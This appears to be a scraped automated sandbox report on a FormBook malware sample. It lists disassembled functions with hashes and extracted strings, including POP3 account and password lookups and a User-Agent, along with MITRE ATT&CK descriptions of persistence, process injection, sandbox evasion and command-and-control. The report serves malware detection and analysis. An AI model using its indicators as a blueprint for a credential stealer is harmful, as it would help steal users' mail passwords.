Instruction ID: 3fc71132194f9696c90b792ec1d992ea1c79ceba4fef72da21a2b4ad4ef1951d
Opcode Fuzzy Hash: 1ee2b983beb3da804c69861f303041e8fe1ab3fbbf518b475522efe816e4d7c9
Instruction Fuzzy Hash: 2B31B4B1A423157AEB218B508C42FEF7F74AB55B18F14026DF6087E2C1D3B46A51CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50483D62, Relevance: 6.3, Strings: 5, Instructions: 74COMMON

Download Yara Rule

Strings

2.5, xrefs: 50483E2F
:, xrefs: 50483E46
:, xrefs: 50483E00
XLNG, xrefs: 50483E3F
1, xrefs: 50483E13

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 1$2.5$:$:$XLNG
API String ID: 0-2797498779
Opcode ID: ddea7e05a916ce940d68063a3480f3fe935138ca5560054e5f1b47d3d7901c4c
Instruction ID: c3a0ebe6660db810c5c264f3053bbc2a907ba5ab29b478976102956f18ca5108
Opcode Fuzzy Hash: ddea7e05a916ce940d68063a3480f3fe935138ca5560054e5f1b47d3d7901c4c
Instruction Fuzzy Hash: AB212CB5E103189EDB50CFA88801BDEB7F5EF48304F1045AEA40CE7251EB745A458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 50495840, Relevance: 6.3, Strings: 5, Instructions: 62COMMON

Download Yara Rule

Strings

urlmon.dll, xrefs: 5049589D, 504958A0
: , xrefs: 5049588E
er-A, xrefs: 50495880
Us, xrefs: 50495879
gent, xrefs: 50495887

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Us$: $er-A$gent$urlmon.dll
API String ID: 0-1367105278
Opcode ID: 83a98b81a4a3e61cf74457b8895cbcb509b351059fce53dfe28498a3f2ea8403
Instruction ID: 304f827a2d30351480fb72948b29af613c24fcca7c16e5d6ad34bd7aed4d14c9
Opcode Fuzzy Hash: 83a98b81a4a3e61cf74457b8895cbcb509b351059fce53dfe28498a3f2ea8403
Instruction Fuzzy Hash: 831190B1D02219AADB00DFD5DC06BEFBBB8AF55714F10016AEC04AA240D2B99A1587E6

Uniqueness

Uniqueness Score: -1.00%

Function 5048EFC0, Relevance: 5.2, Strings: 4, Instructions: 236COMMON

Download Yara Rule

Strings

~draGon~, xrefs: 5048F052
%m$~, xrefs: 5048F190, 5048F195
~F@7%m$~, xrefs: 5048F05A
%m$~, xrefs: 5048F016

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: %m$~$%m$~$~F@7%m$~$~draGon~
API String ID: 0-2027109948
Opcode ID: defecb02bde0a7ec6638cf7b19bb18db07dc908591360d467ae1ae9a78d0deaf
Instruction ID: c33302bda6eedd99c4b7f5127efbddbb2ab4915d750294565885afdb6d02977a
Opcode Fuzzy Hash: defecb02bde0a7ec6638cf7b19bb18db07dc908591360d467ae1ae9a78d0deaf
Instruction Fuzzy Hash: DA816F71D05254AFDB11CBA49C42BDE7BB89F56204F100BE9E88853243DA389F558BD2

Uniqueness

Uniqueness Score: -1.00%

Function 5048F390, Relevance: 5.2, Strings: 4, Instructions: 231COMMON

Download Yara Rule

Strings

POP3Account, xrefs: 5048F53C, 5048F53F
Password, xrefs: 5048F560, 5048F563
Account, xrefs: 5048F517, 5048F51D
POP3Password, xrefs: 5048F57B, 5048F57E

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Account$POP3Account$POP3Password$Password
API String ID: 0-3724906831
Opcode ID: add370cdde58b58e3cfcfd4bd34a89c1d70a3d2c42bff01ff864618fdd1f5c66
Instruction ID: 65a23919888d0cfed8f7de1dcff2b50b47ea642c1fdc74d34ad6ce38894685a5
Opcode Fuzzy Hash: add370cdde58b58e3cfcfd4bd34a89c1d70a3d2c42bff01ff864618fdd1f5c66
Instruction Fuzzy Hash: 4E819AB1C01208BEDB10DFE88C42BEEBBB8AF55304F10466EE509F7242E7755A55CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 504966D0, Relevance: 5.2, Strings: 4, Instructions: 227COMMON

Download Yara Rule

Strings

Port:User :, xrefs: 504967CE, 504967D1
User :, xrefs: 504968AA, 504968DD, 5049691A, 50496957, 504967BD, 504967F0, 5049683C, 50496888, 504967C0, 504967F3, 5049683F, 5049688B, 504968AD, 504968E0, 5049691D, 5049695A
:, xrefs: 50496724
Server:, xrefs: 5049675E

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$Port:User :$Server:$User :
API String ID: 0-1282517814
Opcode ID: f39a32d68ef925b67cf03dc6151cf842ece7155ae1f764d1680619091ae5a84f
Instruction ID: fdd145bc9a5166caeb554a6a749157883b84791fab150c86e40e26daad4d115c
Opcode Fuzzy Hash: f39a32d68ef925b67cf03dc6151cf842ece7155ae1f764d1680619091ae5a84f
Instruction Fuzzy Hash: F98117B2801218ABCF11DBD4CC85DDF7BBCAF58214F008E6EF54966100E979E7988BE5

Uniqueness

Uniqueness Score: -1.00%

Function 504928D0, Relevance: 5.2, Strings: 4, Instructions: 157COMMON

Download Yara Rule

Strings

P, xrefs: 50492965
s, xrefs: 5049296C
w, xrefs: 50492973
r, xrefs: 5049297A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: P$r$s$w
API String ID: 0-3891800351
Opcode ID: a6a96e9977481fa07fea658543dc90f93d2d01bc7a8a7128c5d6cf08aa9d653d
Instruction ID: 46451f6983514226b4c4aa7272314501dd01a282ad7a5a784421ab7c2b255b1b
Opcode Fuzzy Hash: a6a96e9977481fa07fea658543dc90f93d2d01bc7a8a7128c5d6cf08aa9d653d
Instruction Fuzzy Hash: 865139B1D00208AFDB20CFA4C981BDEBBF5EF58314F14456EE909EB241E7399A10CB95

Uniqueness

Uniqueness Score: -1.00%

Function 504966D2, Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

Port:User :, xrefs: 504967CE, 504967D1
User :, xrefs: 504967BD, 504967F0, 5049683C, 50496888, 504967C0, 504967F3, 5049683F, 5049688B
:, xrefs: 50496724
Server:, xrefs: 5049675E

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$Port:User :$Server:$User :
API String ID: 0-1282517814
Opcode ID: 951bcebba9df163e6dd98bd4b8ff280cb04c13b87ea169195183f8956472d680
Instruction ID: 699b91e762f09359bf5f50bd542bef97432c4e7d16066577ac2f3f74c9115205
Opcode Fuzzy Hash: 951bcebba9df163e6dd98bd4b8ff280cb04c13b87ea169195183f8956472d680
Instruction Fuzzy Hash: D45109B2801208AACF11DFD4CC819DF7BBCEF58214F048A6EF54967101E939E7588BE5

Uniqueness

Uniqueness Score: -1.00%

Function 50488318, Relevance: 5.1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

Strings

M, xrefs: 5048836E
U, xrefs: 50488359
N, xrefs: 50488367
E, xrefs: 50488360

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: E$M$N$U
API String ID: 0-146571782
Opcode ID: e35ba41e07602b60ed03c2f62b5efcc54c0ec3f85856ddc9a2fb3eac0b4eb775
Instruction ID: b33279f2eb4ed620e2a9c4aaf03a042f425a5df6e441b2cc84a63265fbd40d34
Opcode Fuzzy Hash: e35ba41e07602b60ed03c2f62b5efcc54c0ec3f85856ddc9a2fb3eac0b4eb775
Instruction Fuzzy Hash: A8413AB6DC231835E72196A09C17FEB36288F3070EF044E9DFA09AA1C2F6B9671546D1

Uniqueness

Uniqueness Score: -1.00%

Function 50488320, Relevance: 5.1, Strings: 4, Instructions: 133COMMON

Download Yara Rule

Strings

M, xrefs: 5048836E
U, xrefs: 50488359
N, xrefs: 50488367
E, xrefs: 50488360

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: E$M$N$U
API String ID: 0-146571782
Opcode ID: 55a16fb08a46e66d6bc4138d3e5cb9a37cd05817b888de09e329b0862c9105e6
Instruction ID: 8fdd1629be607b2dd67a9bf9c8e2d6acba7fd491e7302b323cb75923154bcdd0
Opcode Fuzzy Hash: 55a16fb08a46e66d6bc4138d3e5cb9a37cd05817b888de09e329b0862c9105e6
Instruction Fuzzy Hash: 16415AB6DC231836E73096A09C07FDB36688F3070EF044E9DFA09A51C2F6796B1546D1

Uniqueness

Uniqueness Score: -1.00%

Function 5048EFB4, Relevance: 5.1, Strings: 4, Instructions: 130COMMON

Download Yara Rule

Strings

~draGon~, xrefs: 5048F052
~F@7, xrefs: 5048F030
%m$~, xrefs: 5048F047
%m$~, xrefs: 5048F016

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: %m$~$%m$~$~F@7$~draGon~
API String ID: 0-3535714419
Opcode ID: 10d8888085cb00d72923adf6fffa3db7984efe3f752607e9f0e2c34a412c38ec
Instruction ID: 2cfb8d40115211506e6eb667c28a773ddd3283ead972aef24bdd5a8f87e55299
Opcode Fuzzy Hash: 10d8888085cb00d72923adf6fffa3db7984efe3f752607e9f0e2c34a412c38ec
Instruction Fuzzy Hash: 16413AB5C05254AEDB11CBA488027DFBBB59F93204F144BAADC89A7203E63D5F05C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 5049ACFA, Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

WAt, xrefs: 5049AE32
.dll, xrefs: 5049AED2, 5049AED5
bIW, xrefs: 5049AD9C
.dll, xrefs: 5049AF1F, 5049AF25

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .dll$.dll$WAt$bIW
API String ID: 0-4102820332
Opcode ID: 75a7745043dcbdee567c13dec188d9d66acdca3da99cf032b0a3a6c3845950b9
Instruction ID: 4eb7492ec2d1aaa13e27122e3cd48cb047671f5942919fa5ce655558f6008d82
Opcode Fuzzy Hash: 75a7745043dcbdee567c13dec188d9d66acdca3da99cf032b0a3a6c3845950b9
Instruction Fuzzy Hash: 8D5134B0C092699EDB619F509841BEDBFB4FB55204F008AE9C48DAB205D7782A95CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 5049AD00, Relevance: 5.1, Strings: 4, Instructions: 121COMMON

Download Yara Rule

Strings

WAt, xrefs: 5049AE32
.dll, xrefs: 5049AED2, 5049AED5
bIW, xrefs: 5049AD9C
.dll, xrefs: 5049AF1F, 5049AF25

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .dll$.dll$WAt$bIW
API String ID: 0-4102820332
Opcode ID: a403ea4b00cf5bb2ed96df0bdd581fb3d4f9e42624820d7d5a2e2478be23e873
Instruction ID: 84cb8e62686eaa3abe177b062cbb18d6631cb215b31b3d529c4068482c066953
Opcode Fuzzy Hash: a403ea4b00cf5bb2ed96df0bdd581fb3d4f9e42624820d7d5a2e2478be23e873
Instruction Fuzzy Hash: FA5143B0C092699EDB619F509841BEDBFB4FF56304F0089EAC48DAB205D7782A95CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 5048C5F0, Relevance: 5.1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

Strings

n, xrefs: 5048C6BA
o, xrefs: 5048C6B3
k, xrefs: 5048C6AC
U, xrefs: 5048C6A5

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: U$k$n$o
API String ID: 0-3751959358
Opcode ID: d7f385ea0c9a83372657b7ea85da33de96b679edff69530ecfb1c00523dfaa2e
Instruction ID: 2b6b50b6e70d9194cc02d343d3c4aa526b1e3c257179b807e9f4588f50720273
Opcode Fuzzy Hash: d7f385ea0c9a83372657b7ea85da33de96b679edff69530ecfb1c00523dfaa2e
Instruction Fuzzy Hash: 2341E6B2900704AAD311DFA5DC85FDBB3EDAF84704F004E2EF61997241E77466188BE4

Uniqueness

Uniqueness Score: -1.00%

Function 5048F4E8, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

POP3Account, xrefs: 5048F53C, 5048F53F
Password, xrefs: 5048F560, 5048F563
Account, xrefs: 5048F517, 5048F51D
POP3Password, xrefs: 5048F57B, 5048F57E

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Account$POP3Account$POP3Password$Password
API String ID: 0-3724906831
Opcode ID: 5e3bcadbc24901c878f1c7f5ba3bd9af40ce541dd05a58b224f2992cd013bd47
Instruction ID: baaef68d57ce95bdf29a446825851fd5b18c01d4e69cc069d38f32cb09a30ea7
Opcode Fuzzy Hash: 5e3bcadbc24901c878f1c7f5ba3bd9af40ce541dd05a58b224f2992cd013bd47
Instruction Fuzzy Hash: 7031BCB6C011087ADB14DAE48C82EEF777C9F55208F404F5AF905A3102FA38AA5687F1

Uniqueness

Uniqueness Score: -1.00%

Function 50486F00, Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

t, xrefs: 50486F20
y, xrefs: 50486F19
m, xrefs: 50486F27
[, xrefs: 50486F12

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: [$m$t$y
API String ID: 0-3854059060
Opcode ID: 8ef5c1b6124d491b9b77cf27e9241433c5a93c7f44110ce11a35ed05e5688640
Instruction ID: 97c4c88b1f9fd67c102399d3426c5cddcc15fa16ed9eb24733237cb116a55395
Opcode Fuzzy Hash: 8ef5c1b6124d491b9b77cf27e9241433c5a93c7f44110ce11a35ed05e5688640
Instruction Fuzzy Hash: 0121D0B19007049FC724CF99D4449ABBBF5EF88310F108A6EE84A9B711E7B5EA51CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 5048A2A8, Relevance: 5.1, Strings: 4, Instructions: 69COMMON

Download Yara Rule

Strings

i, xrefs: 5048A319
i, xrefs: 5048A312
l, xrefs: 5048A304
g, xrefs: 5048A30B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: g$i$i$l
API String ID: 0-114883354
Opcode ID: b2fe28b65b8501e6ace0115df5cbf78cfb40b8bc5e5ece3000ef16e6708f0d77
Instruction ID: 116d00876fe0130ab200d2538af0c6781c20ced33c71b8d6f6a6f8f6db410a0c
Opcode Fuzzy Hash: b2fe28b65b8501e6ace0115df5cbf78cfb40b8bc5e5ece3000ef16e6708f0d77
Instruction Fuzzy Hash: 73119071D11214AAEB11DFE5DC02BEF7BBCEF95704F00052EE905A7240E779562087E5

Uniqueness

Uniqueness Score: -1.00%

Function 5048A2B0, Relevance: 5.1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

Strings

i, xrefs: 5048A319
i, xrefs: 5048A312
l, xrefs: 5048A304
g, xrefs: 5048A30B

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: g$i$i$l
API String ID: 0-114883354
Opcode ID: 0cc5fd738edffaeb49670a52552e87d07275ea919c2b0a42361a891d8a7e220c
Instruction ID: db0b36448321e352fdd00240ae6e59a1aa839a52e6bbb46f3aff984d017e30a9
Opcode Fuzzy Hash: 0cc5fd738edffaeb49670a52552e87d07275ea919c2b0a42361a891d8a7e220c
Instruction Fuzzy Hash: 6A117F71D11218BADB11DFE9DC06BAF7BBCEF95704F00052AF905A7240E7B9662087E5

Uniqueness

Uniqueness Score: -1.00%

Function 5049B370, Relevance: 5.0, Strings: 4, Instructions: 34COMMON

Download Yara Rule

Strings

A, xrefs: 5049B381
-, xrefs: 5049B396
I, xrefs: 5049B388
M, xrefs: 5049B38F

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: -$A$I$M
API String ID: 0-1664541526
Opcode ID: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
Instruction ID: c8ff32e06b960adf9dcde91ef66c0244eb2201ee2e4101005e54fb9d8a9fd8f4
Opcode Fuzzy Hash: 2b0b5aad3a744cffe222878982a313b2d33453f36bb32666dc267a1f3269700c
Instruction Fuzzy Hash: B2F054719012186ADB10DAD568457ED7BFCEB05308F4045A7EC0896241E7B55A6847D1

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report fTset285bI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Dropped Files

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph